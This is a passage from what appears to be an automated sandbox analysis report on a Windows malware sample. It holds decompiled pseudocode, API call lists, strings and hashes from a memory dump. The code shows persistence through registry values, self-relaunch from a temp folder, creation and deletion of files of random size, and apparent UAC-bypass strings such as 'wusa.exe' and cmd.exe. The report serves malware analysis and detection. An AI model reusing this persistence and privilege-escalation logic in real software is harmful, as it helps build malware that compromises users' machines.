									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x5f5f5f5f;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x5f5f5f5f);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x5f050108;
												 *0x412180 = 0x5f050108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32 ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

%X%08X, xrefs: 0040A0B0
", xrefs: 0040A189
", xrefs: 0040A078
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
D, xrefs: 00409F8E
P, xrefs: 00409DAA
", xrefs: 00409EDB
\, xrefs: 00409D0C

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: f662362536cc0bd1df8a02b878b712b3a50e39d733d802e0ab411601366ffa15
Instruction ID: 7fd3ca549b2a36264e3490c73b8ea5c515326faa81a0c77bf2832d0a9222aeaf
Opcode Fuzzy Hash: f662362536cc0bd1df8a02b878b712b3a50e39d733d802e0ab411601366ffa15
Instruction Fuzzy Hash: 845291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 417memorystringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
VirtualProtect.KERNELBASE(?,?,?,000F01FF,?,00000000,00000001,?), ref: 00401422
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

uac, xrefs: 00401628
wusa.exe, xrefs: 00401388
, xrefs: 00401462
D, xrefs: 004015C6
<, xrefs: 00401378
@, xrefs: 00401380
%systemroot%\system32\cmd.exe, xrefs: 00401316
useless, xrefs: 0040161E

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteProtectShellVirtuallstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 3525978842-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x5f050101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x5f050103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x5f050102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74B481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: e9e9ffc21125e3758bd0118dbde591d00d022022efbd1eda4172fea14d860bc3
Instruction ID: f09954d895f96d7535ad324dbcb7e9520e84bca45f8f44d109a12226ae0884c9
Opcode Fuzzy Hash: e9e9ffc21125e3758bd0118dbde591d00d022022efbd1eda4172fea14d860bc3
Instruction Fuzzy Hash: 5431FFB2900109BFDB00EFA09D44ADF7F78EF48310F15807AE112F7291D674AAA18F69

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC2E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EC2E(char _a4) {
				void* _t2;
				char _t5;
				void* _t7;

				_t1 =  &_a4; // 0x40ea27
				_t7 =  *_t1;
				if(_t7 != 0) {
					E0040EBA0(_t7);
					_t5 = RtlFreeHeap(GetProcessHeap(), 0, _t7); // executed
					return _t5;
				}
				return _t2;
			}

0x0040ec2f
0x0040ec2f
0x0040ec35
0x0040ec38
0x0040ec48
0x00000000
0x0040ec48
0x0040ec4f

APIs

Part of subcall function 0040EBA0: GetProcessHeap.KERNEL32(00000000,00000000,0040EC0A,00000000,80000001,?,0040DB55,7FFF0001), ref: 0040EBAD
Part of subcall function 0040EBA0: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EBB4

GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
RtlFreeHeap.NTDLL(00000000), ref: 0040EC48

Strings

'@, xrefs: 0040EC2F, 0040EC37, 0040EC3E

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$FreeSize
String ID: '@
API String ID: 1305341483-3530194223
Opcode ID: 08c81c03a0a7108d9ac838324103417e26cacd08bf8f2d3cca78d1ae5343ebed
Instruction ID: 2d0ac8bb9d02bc94818634b60920d143dc176b06b32ab47b2cd542b2b5f2599d
Opcode Fuzzy Hash: 08c81c03a0a7108d9ac838324103417e26cacd08bf8f2d3cca78d1ae5343ebed
Instruction Fuzzy Hash: 3AC012324062307BD5512751BC0DFDB7B28AF45711F0D481AF40576194C7BD588046ED

Uniqueness

Uniqueness Score: -1.00%

Function 02F0092B, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02F00966
., xrefs: 02F0095F
GetProcAddress., xrefs: 02F009DC, 02F009DF, 02F009E4

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: b9977245b5c5705345d488a197d5849b9ad21f6b07e5c886cec468b3dca11821
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 2E3148B6900609DFDB10CF99C880BAEBBF9FF48364F15404AD941A7350DB71EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
